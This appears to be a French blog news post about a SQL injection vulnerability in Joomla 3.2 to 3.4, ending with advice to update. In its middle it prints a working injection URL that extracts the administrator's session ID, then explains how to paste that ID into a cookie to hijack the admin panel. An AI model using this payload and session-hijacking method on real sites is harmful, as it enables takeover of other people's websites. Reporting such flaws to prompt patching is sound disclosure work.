Nouvelle faille de sécurité dans Joomla: injection SQL

Une très grosse faille de sécurité concernant Joomla, l’un des spécialistes de la gestion de contenu en ligne vient d’être rendue publique. En effet, elle est très facilement exploitable et permet d’accéder à l’interface d’administration de n’importe quel site utilisant ce CMS en version 3.2 à 3.4.

Cette faille permet des injections SQL. Autant dire qu’elle sont très graves. La meilleure solution pour contrer cette faille de sécurité est de mettre à jour votre site avec la version la plus récente proposée sur le site officiel : www.joomla.org

La faille a été découverte par deux chercheurs, l’un appartenant à la société Trustwave et l’autre à la société PerimeterX, deux sociétés spécialisées en cybersécurité.

Sur le site de Trustwave, on retrouve une analyse plus poussée de cette faille de sécurité. Cependant pour l’exploiter, il suffit d’injecter une formule SQL dans l’URL du site web cible (ajoutez l’adresse du site web au début) :

index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=73&type_id=1&list[select]=(select 1 FROM(select count(*),concat((select (select concat(session_id)) FROM jml_session where userid=30 LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)

Ici on récupère les variables de session ID de l’administrateur du site.

Une session c’est quoi ? Une session est un mécanisme technique permettant de sauvegarder temporairement sur le serveur des informations relatives à l’authentification d’un internaute.

En collant la session ID qu’on a extraite, à la section du cookie dans la requête permettant d’accéder au dossier administrateur on peut disposer des droits d’administration et accéder au panneau de contrôle.

En résumé cette faille elle ne fonctionne que dans le cas ou un administrateur est connecté au site au moment de l’attaque, afin de permettre à l’attaquant de récupérer l’identifiant de sa session et de prendre sa place.

Enfin, si vous utilisez Joomla, je vous conseille de faire attention et de le mettre à jour rapidement.

Pour plus de nouveautés, merci de vous abonner à la newsletter du blog ou à son flux RSS. N’hésitez pas aussi à faire un tour sur Twitter, Google+ ou encore Facebook pour d’autres news.